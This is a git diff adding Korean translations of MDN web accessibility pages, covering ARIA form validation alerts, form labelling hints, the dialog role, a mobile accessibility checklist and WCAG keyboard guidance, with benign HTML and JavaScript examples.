+     <br />
+     <label for="email">E-Mail address (required):</label>
+     <input name="email" id="email" aria-required="true"/>
+     <br />
+     <label for="website">Website (optional):</label>
+     <input name="website" id="website"/>
+   </fieldset>
+   <label for="message">Please enter your message (required):</label>
+   <br />
+   <textarea name="message" id="message" rows="5" cols="80"
+             aria-required="true"></textarea>
+   <br />
+   <input type="submit" name="submit" value="Send message"/>
+   <input type="reset" name="reset" value="Reset form"/>
+ </form>
+
+ +

유효성 검사 및 사용자에게 알림

+ +

폼 유효성 검사는 여러 단계로 구성됩니다. :

+ +
    +
  1. Email 또는 입력한 이름이 유효한지 확인하십시오. 각 필드는 유효성 검사를 통과하기 위해 충족되어야 하는 일련의 기준이 있습니다. 이 예제를 단순화하기 위해, Email에 '@' 마크가 있는지 이름에는 적어도 하나의 문자가 포함되어 있는지를 확인할 것입니다. 
  2. +
  3. 만약 위의 기준이 충족되지 않으면, 필드의  aria-invalid 속성에 “true” 값이 주어질 것입니다.
  4. +
  5. 기준이 충족되지 않으면 경고를 통해 사용자에게 알립니다. JavaScript의 ‘alert’ function을 사용하는 대신 아림을 위해 간단한 WAI-ARIA 위젯을 사용할 것입니다. 이것은 사용자에게 에러를 알려주지만, Javascript의 기본 ‘alert’ function의 “onblur”로 인해 발생하는 포커스 손실 없이 계속해서 폼을 수정할 수 있게 해줍니다. 
  6. +
+ +

아래의 예제는  “head” 의 닫는 태그를 삽입하는 Javascript 코드입니다.:

+ +
 <script type="application/javascript">
+ function removeOldAlert()
+ {
+   var oldAlert = document.getElementById("alert");
+   if (oldAlert){
+     document.body.removeChild(oldAlert);
+   }
+ }
+
+ function addAlert(aMsg)
+ {
+   removeOldAlert();
+   var newAlert = document.createElement("div");
+   newAlert.setAttribute("role", "alert");
+   newAlert.setAttribute("id", "alert");
+   var msg = document.createTextNode(aMsg);
+   newAlert.appendChild(msg);
+   document.body.appendChild(newAlert);
+ }
+
+ function checkValidity(aID, aSearchTerm, aMsg)
+ {
+   var elem = document.getElementById(aID);
+   var invalid = (elem.value.indexOf(aSearchTerm) < 0);
+   if (invalid) {
+     elem.setAttribute("aria-invalid", "true");
+     addAlert(aMsg);
+   } else {
+     elem.setAttribute("aria-invalid", "false");
+     removeOldAlert();
+   }
+ }
+ </script>
+
+ +

checkValidity 함수

+ +

Javascript에서 폼 유효성 검사에 사용되는 기본 메소드는 checkValidity 함수입니다. 이 메소드는 세 개의 파라미터를 가집니다: 유효성 검사를 할 input의 ID, 유효성을 확인하기 위해 검색할 검색어, alert에 삽입할 에러 메시지입니다.

+ +

유효성을 확인하기 위해, 이 함수는 input의 값 indexOf가 -1보다 큰지 확인합니다. 검색어를 찾을 수 없을 때 -1 혹은 그보다 작은 값을 반환합니다. 

+ +

만약에 값이 유효하지 않다면 이 함수는 2가지 작업을 수행합니다. 

+ +
    +
  1. 요소의 aria-invalid 속성을 “true”로 설정합니다. 이 속성은 사용자에게 여기에 유효하지 않은 값이 있다는 것을 알립니다. 
  2. +
  3. addAlert 함수를 호출하여 제공된 에러 메시지와 함께 alert을 추가합니다. 
  4. +
+ +

검색어가 발견되면 aria-invalid 속성은 “false”로 재설정됩니다. 또한 남아있는 모든 alert가 제거됩니다. 

+ +

addAlert 함수

+ +

이 함수는 일단 오래된 alert을 제거합니다. 이 함수는 간단합니다. : id가 “alert”인 요소를 찾고, 발견되면 document object model.에서 해당 요소를 제거합니다. 

+ +

다음으로 함수는 alert 테스트를 저장할 div 요소를 만듭니다. 그 div요소는 “alert”이라는 ID를 갖습니다. 그리고  “alert”이라는 role을 갖습니다. 이름에 "aria"가 없지만 사실은 ARIA에서 만들어진 것입니다. role이 간소화를 위해 단순히 HTML로 이식된 XHTML Role Attribute Module에 기반하기 때문입니다.

+ +

텍스트가 div 요소에 추가되고 div 요소는 문서에 추가됩니다. 

+ +

이 div  요소가 나타나면 Firefox는 보조기기에 "alert" 이벤트를 발생시킵니다. 대부분의 스크린 리더는 자동으로 그것을 주워서 읽습니다. 이건 암호 저장 여부를 묻는 Firefox의 알림 표시 줄과 비슷합니다. 방금 만든 alert에는 버튼이 없으므로 단순히 무엇이 문제인지만을 알려줍니다. 

+ +

onblur” 이벤트 수정하기

+ +

이제 남은 것은 이벤트 핸들러를 추가하는 것뿐입니다. 우리는 Email과 이름에 대한 두개의 인풋을 다음과 같이 변경해야합니다. :

+ +
 <input name="name" id="name" aria-required="true"
+        onblur="checkValidity('name', ' ', 'Invalid name entered!');"/>
+ <br />
+ <input name="email" id="email" aria-required="true"
+        onblur="checkValidity('email', '@', 'Invalid e-mail address');"/>
+
+ +

예제 테스트하기

+ +

만약 Firefox 3 와 현재 지원되는 스크린 리더를 사용하고 있다면 다음을 시도해보세요.:

+ +
    +
  1. 이름에 성만을 입력해보세요. 탭을 하면 유효하지 않은 이름을 입력했다는 알림을 들을 수 있을 겁니다. shift-tab을 눌러서 돌아간 다음 에러를 수정할 수 있습니다. 
  2. +
  3. "@"없이 Email 주소를 입력해보세요. 탭을 해서 필드를 벗어나면 유효하지 않은 Email을 입력했다는 알림을 들을 수 있을 겁니다. 
  4. +
+ +

두 경우 모두 필드로 포커스가 돌아가면 스크린 리더는 해당 필드가 유효하지 않음을 알려주어야 합니다. JAWS 9는 이것을 지원하지만,  JAWS 8는 지원하지 않습니다. 그렇기때문에 이것은 스크린 리더 버전에 따라서 동작하지 않을 수 있습니다. 

+ +

자주 하는 질문

+ +
+
Q. 왜 label에 “(required)” 를 넣고 일부 input에 aria-required 속성을 넣었나요?
+
A. 만약 이게 실제 폼이고 아직 ARIA를 지원하지 않는 브라우저에서 사이트를 방문한 경우에도 이것이 필수 입력란임을 알려주는 것이 좋습니다. 
+
Q. 왜 유효하지 않은 필드로 자동 포커스되도록 하지 않나요?
+
A. 왜냐하면 Windows API 사양 및 기타 사양에 따라 허용되지 않기 때문입니다. 또한, 사용자 상호작용 없이 포커스를 자주 이동하는 것은  좋지 않습니다. 
+
+ +
TBD: 이건 다시 생각해봅시다. 개인적으로 키보드 트랩을 발생시키지 않는다면 포커스를 설정하는 것이 좋을 것 같습니다.
diff --git a/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html new file mode 100644 index 0000000000..f3757219ab --- /dev/null +++ b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html @@ -0,0 +1,116 @@ +--- +title: 기본적인 폼 힌트 +slug: Web/Accessibility/ARIA/forms/Basic_form_hints +tags: + - ARIA + - Forms + - 접근성 +translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints +--- +

전통적인 HTML 폼 관련 요소를 사용하여 폼을 구현할 때 컨트롤에 레이블을 지정하고 레이블을 컨트롤과 명시적으로 연결하는 것이 중요합니다. 스크린 리더 사용자가 페이지를 탐색할 때, 스크린 리더는 폼 컨트롤을 알려주지만, 레이블과 폼이 직접적으로 연결되지 않으면 스크린 리더는 어떤 레이블이 적절한지 알 방법이 없습니다. 

+ +

아래의 예는 레이블이 있는 간단한 폼을 보여줍니다. 각{{ HTMLElement("input") }} 요소는 id를 가지고 있고, 각{{ HTMLElement("label") }} 요소는 자신과 연결된 {{ HTMLElement("input") }}의 id를 나타내는  for 속성을 가지고 있습니다.

+ +
<form>
+  <ul>
+    <li>
+      <input id="wine-1" type="checkbox" value="riesling"/>
+      <label for="wine-1">Berg Rottland Riesling</label>
+    </li>
+    <li>
+      <input id="wine-2" type="checkbox" value="pinot-blanc"/>
+      <label for="wine-2">Pinot Blanc</label>
+    </li>
+    <li>
+      <input id="wine-3" type="checkbox" value="pinot-grigio"/>
+      <label for="wine-3">Pinot Grigio</label>
+    </li>
+    <li>
+      <input id="wine-4" type="checkbox" value="gewurztraminer"/>
+      <label for="wine-4">Gewürztraminer</label>
+    </li>
+  </ul>
+</form>
+
+ +

ARIA로 라벨링 하기

+ +

HTML {{ HTMLElement("label") }} 요소는 폼 관련 요소로 적당하지만, 많은 폼 컨트롤은 {{ HTMLElement("div") }}나 {{ HTMLElement("span") }}를 사용한 동적인 Javascript 위젯으로 구현되어있습니다. W3C의 Web Accessibility Initiative에서 만들어진 WAI-ARIAAccessible Rich Internet Applications 사양은 이러한 경우를 위해 aria-labelledby 속성을 제공하고 있습니다.

+ +

아래의 예에서는 순서 없는 리스트를 사용하여 구현한 라디오 버튼 그룹을 보여주고 있습니다. 3행의  {{ HTMLElement("ul") }} 요소에 aria-labelledby 속성에 라디오 그룹의 레이블인 {{ HTMLElement("h3") }} 요소의  id  rg1_label을 설정했습니다. 

+ +
<h3 id="rg1_label">Lunch Options</h3>
+
+<ul class="radiogroup" id="rg1"  role="radiogroup" aria-labelledby="rg1_label">
+  <li id="r1"  tabindex="-1" role="radio" aria-checked="false">
+    <img role="presentation" src="radio-unchecked.gif" /> Thai
+  </li>
+  <li id="r2"  tabindex="-1" role="radio"  aria-checked="false">
+    <img role="presentation" src="radio-unchecked.gif" /> Subway
+  </li>
+  <li id="r3"   tabindex="0" role="radio" aria-checked="true">
+    <img role="presentation" src="radio-checked.gif" /> Radio Maria
+  </li>
+</ul>
+
+ +

ARIA로 설명하기

+ +

폼 컨트롤을 가끔 label 외에 추가설명이 있는 경우가 있다. ARIA는 aria-describedby 속성을 사용하여 설명을 컨트롤과 직접 연관시킵니다. 

+ +

아래 예제는 {{ HTMLElement("div") }} 안의 문장이  {{ HTMLElement("button") }} 요소를 설명하는 것을 보여줍니다. {{ HTMLElement("button") }}의  aria-describedby 속성은 {{ HTMLElement("div") }}의 id를 참조합니다. 

+ +
<button aria-describedby="descriptionRevert">Revert</button>
+<div id="descriptionRevert">Reverting will undo any changes that have been made
+                            since the last save.</div>
+ +
+

Note: aria-describedby 속성은 폼 컨트롤 외에도 다른 용도로 사용됩니다. 

+
+ +

필수 필드와 유효하지 않은 필드 

+ +
+

Note: 현재는 전 세계 사용자의 97%가  required를 사용할 수 있으므로 required와 aria-required 모두를 사용하는 것은 더는 권장하지 않습니다.

+
+ +

일반적으로 웹 개발자는 필수 필드와 유효하지 않은 필드를 나타내기 위해서 시각적인 방법을 사용합니다. 보조 기술(ATs)은 언제나 표시된 것을 통해서 정보를 추측하지는 않습니다. ARIA 는 폼 컨트롤의 필수나 유효하지 않음을 나타내는 속성을 제공합니다. 

+ + + +

아래의 예제는 세 개의 필드가 있는 간단한 폼을 보여줍니다. 4행과 12행에서는 aria-required 속성이 true(레이블 옆에 별표와 함께)로 설정되어 name과 email 필드가 필수임을 나타냅니다. 두 번째 예제는 email 형식을 검증하고 그 결과에 따라서 email 필드(HTML 12행)의 (요소를 시각적으로 변경하는 것과 함께) aria-invalid 속성을 설정하는 Javascript 스니펫입니다. 

+ +
<form>
+  <div>
+    <label for="name">* Name:</label>
+    <input type="text" value="name" id="name" aria-required="true"/>
+  </div>
+  <div>
+    <label for="phone">Phone:</label>
+    <input type="text" value="phone" id="phone" aria-required="false"/>
+  </div>
+  <div>
+    <label for="email">* E-mail:</label>
+    <input type="text" value="email" id="email" aria-required="true"/>
+  </div>
+</form>
+ +

폼 항목의 유효성을 검사하는 스크립트는 다음과 같습니다. 

+ +
var validate = function () {
+  var emailElement = document.getElementById(emailFieldId);
+  var valid = emailValid(formData.email); // returns true if valid, false otherwise
+
+  emailElement.setAttribute("aria-invalid", !valid);
+  setElementBorderColour(emailElement, valid); // sets the border to red if second arg is false
+};
+
+ +

유용한 오류 메시지 제공

+ +

ARIA alerts to enhance forms 사용법을 읽으세요.

+ +

폼 접근성을위한 ARIA 사용에 대한 자세한 지침은 WAI-ARIA Authoring Practices 문서를 참조하세요. 

diff --git a/files/ko/web/accessibility/aria/forms/index.html b/files/ko/web/accessibility/aria/forms/index.html new file mode 100644 index 0000000000..a9028b2416 --- /dev/null +++ b/files/ko/web/accessibility/aria/forms/index.html @@ -0,0 +1,17 @@ +--- +title: Forms +slug: Web/Accessibility/ARIA/forms +tags: + - ARIA + - 접근성 +translation_of: Web/Accessibility/ARIA/forms +--- +

아래의 페이지에서는 Web Form의 접근성을 향상시키는 여러 가지 테크닉을 소개합니다. 

+ + + +

유사한 콘텐츠를 다루고 있는 Yahoo! article on form validation and ARIA 도 봐주세요.

diff --git a/files/ko/web/accessibility/aria/index.html b/files/ko/web/accessibility/aria/index.html new file mode 100644 index 0000000000..c1c77f78f4 --- /dev/null +++ b/files/ko/web/accessibility/aria/index.html @@ -0,0 +1,131 @@ +--- +title: ARIA +slug: Web/Accessibility/ARIA +tags: + - ARIA + - Accessibility + - HTML + - 웹 접근성 + - 접근성 +translation_of: Web/Accessibility/ARIA +--- +

접근가능한 리치 인터넷 어플리케이션(Accessible Rich Internet Applications, ARIA)은 장애를 가진 사용자가 웹 콘텐츠와 웹 어플리케이션(특히 JavaScript를 사용하여 개발한 경우)에 더 쉽게 접근할 수 있는 방법을 정의하는 여러 특성을 말합니다.

+ +

ARIA는 HTML을 보충해, 일반적으로 보조 기술이 알 수 없는 상호작용 및 흔히 쓰이는 어플리케이션 위젯에 필요한 정보를 제공합니다. 예를 들어 ARIA는 HTML4에서의 탐색 랜드마크, JavaScript 위젯, 폼 힌트 및 오류 메시지, 실시간 콘텐츠 업데이트 등을 접근 가능한 형태로 제공합니다.

+ +
+

여기 등장하는 많은 위젯은 나중에 HTML5로 통합됐으므로, 구현하려는 기능을 가진 요소가 존재한다면 개발자는 되도록 의미를 가진 HTML을 ARIA보다 선호해야 합니다. 몇 가지 예시로, 네이티브 요소는 키보드 접근성, 역할, 상태를 내장하고 있습니다. 그러나 ARIA를 쓰기로 결정했다면 브라우저 동작 방식을 따라 하는 건 개발자의 책임입니다.

+
+ +

다음은 진행 표시줄 위젯의 마크업입니다.

+ +
<div id="percent-loaded" role="progressbar" aria-valuenow="75"
+     aria-valuemin="0" aria-valuemax="100">
+</div>
+
+ + + +

지원

+ +

다른 웹 기술과 마찬가지로, ARIA 역시 환경 별 지원 수준에 차이를 보입니다. 지원 수준은 사용자의 운영 체제 및 사용하는 브라우저, 그리고 연결된 보조 기술마다 다릅니다. 게다가 각각의 버전 또한 영향을 줍니다. 오래된 소프트웨어 버전은 특정 ARIA 역할을 지원하지 않거나, 부분적으로만 지원하거나, 잘못된 기능을 가지고 있을 수 있습니다.

+ +

또 다른 중요한 점은, 보조 기술에 의존하는 사용자 일부가 컴퓨터 및 브라우저 상호작용 기능을 잃어버릴까 두려워 소프트웨어 업그레이드를 주저할 수 있다는 점을 인지하는 것입니다. 그러므로 가능한 한 보조 기술이 훨씬 넓게 지원하는, 의미를 가진 HTML 요소를 사용하는 편이 좋습니다.

+ +

마지막으로 작성한 ARIA을 실제 보조 기술로 시험하는 것도 필요합니다. 브라우저 에뮬레이터와 시뮬레이터가 전체 테스트에 효율적인 도구가 아니듯, 유사 보조 기술만으로는 완벽한 지원을 장담하기엔 부족합니다.

+ +
+
+
+

자습서

+ +
+
ARIA 소개
+
동적인 컨텐츠를 ARIA를 적용해 접근성을 갖추도록 하는 방법에 대한 소개한 글입니다. Gez Lemon이 2008년에 쓴 ARIA 분야의 고전인 ARIA intro도 참조하십시오.
+
스크린 리더기에서 ARIA를 어떻게 사용하는지에 대한 영상
+
ARIA "적용 전", "적용 후" 영상을 비롯하여, 웹에서 볼 수 있는 실제 사용 예제들과 그것보다 간략화된 예시들을 볼 수 있습니다.
+
ARIA 사용하기
+
개발자를 위한 실용 가이드를 제공하는 글입니다. HTML 요소에 어떤 ARIA 속성들을 써야 하는지에 대해 제안하는 내용을 담고 있습니다. 제안은 실제 구현 상황을 바탕으로 합니다.
+
+ +

간단한 ARIA 향상

+ +
+
ARIA 랜드마크를 사용하여 페이지 탐색 고도화
+
스크린 리더 사용자들을 위해 ARIA 랜드마크를 사용하여 웹 페이지의 탐색 기능을 향상시키는 법을 소개해주는 좋은 글입니다. 이와 더불어서 ARIA 구현 노트 및 실제 사이트에서의 활용 예시들을 참고하세요. (2011년 7월에 업데이트됨)
+
폼 접근성 향상하기
+
ARIA는 동적 콘텐츠만을 위한 것이 아닙니다! ARIA 특성을 사용해 HTML 폼의 접근성을 높이는 방법을 알아보세요.
+
+ +

스크립트 처리된 위젯을 위한 ARIA

+ +
+
JavaScript 위젯에 키보드 탐색 및 초점 적용하기
+
{{htmlelement("input")}}, {{htmlelement("button")}} 등 내장 요소는 기본적으로 키보드를 지원합니다. {{htmlelement("div")}}와 ARIA로 특정 요소를 흉내 낸다면, 그 위젯도 키보드를 지원하도록 해야 합니다.
+
실시간 영역
+
실시간 영역은 페이지 콘텐츠에 가해지는 변경점을 접근성 보조 기술이 어떻게 처리해야 하는지 제안합니다.
+
ARIA 실시간 영역으로 콘텐츠 변경 알리기
+
JAWS 스크린 리더 소프트웨어의 개발진이 실시간 영역에 대해 요약한 글입니다.
+
+
+ +
+

표준화를 위한 노고

+ +
+
WAI-ARIA 명세
+
W3C 명세입니다.
+
WAI-ARIA 작성 안내서
+
+

흔히 쓰이는 위젯을 ARIA스럽게 만드는 방법에 대한 공식 안내서로, 훌륭한 자원입니다.

+
+
+ +

비디오

+ +

다음 발표 비디오는 ARIA를 이해할 수 있는 훌륭한 방법입니다.

+ +

ARIA, Accessibility APIs and coding like you give a damn! – Léonie Watson

+ +

버그 제출

+ +

브라우저, 스크린 리더, JavaScript 라이브러리의 ARIA 버그 제출하기

+
+
+
+ + + +

{{glossary("Accessibility", "접근성")}}, {{glossary("AJAX")}}, JavaScript

+ + diff --git a/files/ko/web/accessibility/aria/roles/dialog_role/index.html b/files/ko/web/accessibility/aria/roles/dialog_role/index.html new file mode 100644 index 0000000000..90fc507652 --- /dev/null +++ b/files/ko/web/accessibility/aria/roles/dialog_role/index.html @@ -0,0 +1,158 @@ +--- +title: 'ARIA: dialog role' +slug: Web/Accessibility/ARIA/Roles/dialog_role +tags: + - ARIA + - Web Development + - 접근성 +translation_of: Web/Accessibility/ARIA/Roles/dialog_role +--- +

{{draft()}}

+ +

\{{ariaref}}

+ +

dialog 역할(role)은 HTML 기반의 애플리케이션의 다이얼로그 또는 콘텐츠를 분리하는 창 또는 다른 웹 애플리케이션의 UI 혹은 페이지를 마크업하는데 사용됩니다. 다이얼로그는 일반적으로 오버레이를 사용하여 페이지 위에 표시됩니다. 다이얼로그는 비모달(non-modal) (열린 이후에도 다이얼로그 바깥의 콘텐츠와 상호작용할 수 있습니다) 또는 모달(오로지 다이얼로그 콘텐츠와 상호작용할 수 있습니다) 형태일 수 있습니다.

+ +
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+  <h2 id="dialog1Title">귀하의 개인정보가 성공적으로 갱신되었습니다.</h2>
+  <p id="dialog1Desc">
+    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  </p>
+  <button>닫기</button>
+</div>
+ +

설명

+ +

다이얼로그 요소를 마크업하는 것은 보조 기술(Assistive Technology)이 다이얼로그의 콘텐츠가 그룹하 되어 페이지의 나머지 콘텐츠와 분리됨을 식별하는 것을 돕습니다. 하지만, 단순히 role="dialog"를 추가하는 것으로 다이얼로그의 접근성을 높이지 못합니다. 추가적으로 다음 항목들이 충족되어야 합니다:

+ + + +

아래 섹션들은 이 두가지 요구 사항을 어떻게 만족시킬 수 있을지 설명합니다.

+ +

레이블링

+ +

다이얼로그 요소 자체가 포커스를 가질 필요는 없지만, 여전히 레이블링을 할 필요가 있습니다. 다이얼로그에 주어진 레이블은 다이얼로그 내 상호작용 가능한 컨트롤들에 contextual information를 제공합니다. 예를 들어, 다이얼로그의 레이블은 내부의 컨트롤들의 레이블의 그롭화된 레이블처럼 작동합니다. (<legend> 요소가 내부의 <fieldset> 요소에 그룹화된 레이블을 제공하는 것과 비슷합니다)

+ +

만약 다이얼로그가 이미 눈에 보이는 타이틀바를 가지고 있다면, 그 안속의 텍스트는 다이얼로그를 레이블하는데 사용될 수 있습니다. 이를 이루기 위해 role="dialog" 속성을 가진 요소에 aria-labelledby 속성을 사용합니다. 또한, 만약 다이얼로그에 제목 외의 추가적인 설명 텍스트가 있다면, 그 텍스트는 aria-describedby 속성을 사용하여 다이얼로그에 관련되게 만들 수 있습니다. 이러한 방법은 아래 코드를 통해 확인하실 수 있습니다:

+ +
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+  <h2 id="dialog1Title">귀하의 개인정보가 성공적으로 갱신되었습니다.</h2>
+  <p id="dialog1Desc">
+    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  </p>
+  <button>닫기</button>
+</div>
+ +

 

+ +
비가상 모드에서 작동하는 스크린 판독기에 의해 인지되기 위해서는 다이얼로그 제목과 설명 텍스트가 포커스가 가능하지 않아야 한다는 점을 유의하십시오. ARIA 다이얼로그 역할과 레이블링 기술은 다이얼로그로 포커스가 이동하였을 때 스크린 판독기가 다이얼로그의 정보를 인지할 수 있도록 합니다.
+ +

Focus management 포커스 관리

+ +

다이얼로그는 키보드 포커스를 관리하는 방법에 대한 특별한 요구 사항이 있습니다.

+ + + +

 

+ +

관련된 ARIA 역할, 상태 및 속성

+ +
+
aria-labelledby
+
다이얼로그에 label을 하려면 이 속성을 사용하십시오. 보통, 다이얼로그의 제목 요소의 id값이 aria-labelledby 속성의 값이 됩니다.
+
aria-describedby
+
다이얼로그의 콘텐츠를 묘사하기 위해 이 속성을 사용하십시오.
+
+ +

Possible effects on user agents and assistive technology 

+ +

When the dialog role is used, the user agent should do the following:

+ + + +

When the dialog is correctly labeled and focus is moved to a control inside the dialog, screen readers should announce the dialog's accessible role, name and optionally description before announcing the focused element. 

+ +
Note: Opinions may differ on how assistive technology should handle this technique. The information provided above is one of those opinions and therefore not normative.
+ +

예제

+ +

예제 1: 폼을 포함하는 다이얼로그

+ +
 <div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+   <h2 id="dialog1Title">구독하기</h2>
+   <p id="dialog1Desc">우리는 이 정보를 제 3자에게 제공하지 않습니다.</p>
+   <form>
+     <p>
+       <label for="firstName">이름</label>
+       <input id="firstName" type="text" />
+     </p>
+     <p>
+       <label for="lastName">성</label>
+       <input id="lastName" type="text"/>
+     </p>
+     <p>
+       <label for="interests">관심분야</label>
+       <textarea id="interests"></textarea>
+     </p>
+     <p>
+         <input type="submit" value="정보 저장하기"/>
+     </p>
+   </form>
+ </div>
+ +

Example 2: A dialog based on a Fieldset as fallback content

+ +

To support browsers or AT products that do not support ARIA mark up, it's also possible to use apply the dialog markup to a fieldset element as fallback content. This way the dialog title will still be announced correctly:

+ +
<fieldset role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+  <legend>
+    <span id="dialog1Title">Your personal details were successfully updated.</span>
+    <span id="dialog1Desc">You can change your details at any time in the user account section.</span>
+  </legend>
+
+  <button>Close</button>
+</fieldset>
+ +

작업된 예제:

+ + + +

Notes 

+ +
Note: While it is possible to prevent keyboard users from moving focus to elements outside of the dialog, screen reader users may still be able to navigate that content virtually to use their screen reader's virtual cursor. Because of this, dialogs are considered to be a special case of the application role: They are expected to be navigated by screen reader users in a non-virtual navigation mode.
+ +

사용되는 ARIA 속성

+ + + +

관련된 ARIA 기술 

+ + + +

Compatibility

+ +

TBD: Add support information for common UA and AT product combinations

+ +

Additional resources

+ +

 

diff --git a/files/ko/web/accessibility/aria/roles/index.html b/files/ko/web/accessibility/aria/roles/index.html new file mode 100644 index 0000000000..3b92115b59 --- /dev/null +++ b/files/ko/web/accessibility/aria/roles/index.html @@ -0,0 +1,78 @@ +--- +title: WAI-ARIA Roles +slug: Web/Accessibility/ARIA/Roles +tags: + - ARIA + - Accessibility + - NeedsTranslation + - Rôles + - TopicStub +translation_of: Web/Accessibility/ARIA/Roles +--- +

This page lists reference pages covering all the WAI-ARIA roles discussed on MDN. For a full list of roles, see Using ARIA: Roles, States, and Properties

+ +

{{SubpagesWithSummaries}}

+ + diff --git a/files/ko/web/accessibility/index.html b/files/ko/web/accessibility/index.html new file mode 100644 index 0000000000..9faf5ccaa5 --- /dev/null +++ b/files/ko/web/accessibility/index.html @@ -0,0 +1,49 @@ +--- +title: 접근성 +slug: Web/Accessibility +tags: + - Accessibility + - 접근성 +translation_of: Web/Accessibility +--- +

웹 개발에서의 접근성은 사람들의 능력이 어느정도 제한되어 있더라도 가능한 많은 사람들이 웹사이트를 사용 할 수 있도록 하는것 입니다. 여기서 우리는 접근할 수 있는 콘텐츠 개발에 관한 정보를 제공 합니다.

+ +

"접근성은 장애인을 돕기 위한 '휠체어접근' 과 같은 시설이나 편의 시설을 설명하는 데 가장 많이 사용됩니다. 이것은 점저 감판, 휠체어 경사로, 보행자 교차점에서의 오디오 신호등, 보행로 등고선, 웹 사이트 디자인 등으로 확장될 수 있습니다." Wikipedia entry for Accessibility

+ +

"그들의 하드웨어, 소프트웨어, 언어, 문화, 위치 또는 신체적 혹은 정신적 능력이 무엇이든지 간에, 웹은 근본적으로 모든 사람들을 위해 일하도록 설계되어 있습니다. 웹이 이 목표를 달성할 때, 다양한 범위의 청각, 움직임, 시각, 인지 능력을 가진 사람들에게 접근할 수 있습니다." W3C - Accessibility

+ +
+
+

Documentation

+ +
+
Web development
+
접근성 세계에서 웹 개발 문제를 강조하기 위해 지정된 문서 모음 입니다.
+
ARIA
+
HTML문서를 좀 더 쉽게 접근 할 수 있는 방법을 배우기 위해 사용할 수 있는 문서 모음 입니다.
+
Assistive technology (AT) development
+
AT 개발자를 위한 기사 모음 입니다.
+
Mobile accessibility checklist
+
모바일 앱 개발자에 대한 접근성 요구 사항을 간략하게 확인할 수 있는 문서 모음 입니다.
+
+ +

View all articles about Accessibility...

+
+ +
+

웹 개발자들을 위한 도구

+ + + +

View All...

+ +

기타 유용한 사이트

+ + +
+
diff --git a/files/ko/web/accessibility/mobile_accessibility_checklist/index.html b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html new file mode 100644 index 0000000000..6a9a73cdbe --- /dev/null +++ b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html @@ -0,0 +1,106 @@ +--- +title: 모바일 접근성 점검항목 +slug: Web/Accessibility/Mobile_accessibility_checklist +translation_of: Web/Accessibility/Mobile_accessibility_checklist +--- +
+

이 문서는 모바일 앱 개발자를 위한 접근성 요구 사항에 대한 간결한 체크리스트를 제공한다. 더 많은 패턴이 발생할수록 지속적으로 진화하려는 의도다.

+
+ +

+ + + +

  가시성

+ + + +

초점

+ + + +

텍스트 동등성

+ + + +

처리 상태

+ + + +

방향

+ + + +

General Guidelines

+ + + +
+

Note: The original version of this document was written by Yura Zenevich.

+
diff --git a/files/ko/web/accessibility/understanding_wcag/index.html b/files/ko/web/accessibility/understanding_wcag/index.html new file mode 100644 index 0000000000..fe71b20ebc --- /dev/null +++ b/files/ko/web/accessibility/understanding_wcag/index.html @@ -0,0 +1,59 @@ +--- +title: Understanding the Web Content Accessibility Guidelines +slug: Web/Accessibility/Understanding_WCAG +tags: + - NeedsTranslation + - TopicStub + - WCAG + - Web Content Accessibility Guidelines +translation_of: Web/Accessibility/Understanding_WCAG +--- +

This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).

+ +

The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.

+ +

The four principles

+ +

WCAG is broadly broken down into four principles — major things that web content must be to be considered accessible (see Understanding the Four Principles of Accessibility for the WCAG definitions).

+ +

Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.

+ + + +

Should I use WCAG 2.0 or 2.1?

+ +

WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. 

+ +

What is WCAG 2.1?

+ +

WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release WCAG 2.1 Adoption in Europe

+ +

WCAG 2.1 includes:

+ + + + + +

This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.

+ +

What is accessibility? and particularity the Accessibility guidelines and the law section provide more related information.

diff --git a/files/ko/web/accessibility/understanding_wcag/keyboard/index.html b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html new file mode 100644 index 0000000000..32705d664f --- /dev/null +++ b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html @@ -0,0 +1,87 @@ +--- +title: Keyboard +slug: Web/Accessibility/Understanding_WCAG/Keyboard +translation_of: Web/Accessibility/Understanding_WCAG/Keyboard +--- +
To be fully accessible, a web page must be operable by someone using only a keyboard to access and control it. This includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.
+ +

Focusable elements should have interactive semantics

+ +

If an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).

+ +
+

Note: One important exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application"). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").

+
+ +

Most interactive elements are focusable by default; you can make an element focusable by adding a tabindex=0 attribute value to it. However, you should only add tabindex if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.

+ +

See also

